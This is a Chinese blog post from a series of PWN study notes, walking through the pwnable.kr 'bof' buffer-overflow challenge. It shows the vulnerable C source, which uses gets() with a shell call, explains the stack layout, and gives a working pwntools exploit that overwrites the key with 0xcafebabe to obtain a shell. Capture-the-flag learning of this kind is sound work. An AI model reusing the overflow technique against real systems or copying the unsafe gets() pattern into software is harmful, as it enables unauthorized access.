美文网首页PWN学习资料
PWN学习笔记(三)

PWN学习笔记(三)

作者: Sarace | 来源:发表于2019-06-19 22:14 被阅读0次

    PWN学习笔记(三)

    0x01

    这次我们开始进行第三个题目:


    截图_2019-06-19_20-26-11.png

    下面就是bof.c的代码:

    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);   // smash me!
        if(key == 0xcafebabe){
            system("/bin/sh");
        }
        else{
            printf("Nah..\n");
        }
    }
    int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
    }
    

    从代码中我们可以看到这里使用了一个危险函数gets(),这里我们可以控制overflowme的内容来控制堆栈的内容,覆盖掉key的原本的内容,让key的值等于0xcafebabe。这样我们就可以轻松过关了。是不是很简单呢?

    0x02

    下面我们就来看一下程序的汇编代码:


    截图_2019-06-19_21-40-30.png

    通过上图,我们可以看到我们输入的变量保存在ebp-0x2c的地方,而我们的key则保存在ebp+0x8的地方,这里我们就需要了解一下这时的栈结构:

    截图_2019-06-19_22-05-34.png

    所以我们需要控制我们的输入,覆盖掉ebp+0x8的地方,这里我使用了pwntools来帮助我实现这段shellcode

    from pwn import *
    context.log_level = 'debug'
    conn = remote('pwnable.kr',9000)
    p = 'A'*52
    p += p32(0xcafebabe)
    conn.sendline(p)
    conn.interactive()
    

    我们需要从ebp-0x2c一直覆盖到ebp+8的地方,一共是56字节,但是最后4个字节是我们的key,所以我使用了52个A加上我们的目标字符串进行拼接。
    运行上面的这段python代码,就可以获得flag了。
    PS:pwntools是一个非常好用的pwn工具,希望大家能掌握它的使用。

    相关文章

      网友评论

        本文标题:PWN学习笔记(三)

        本文链接:https://www.haomeiwen.com/subject/yvnlqctx.html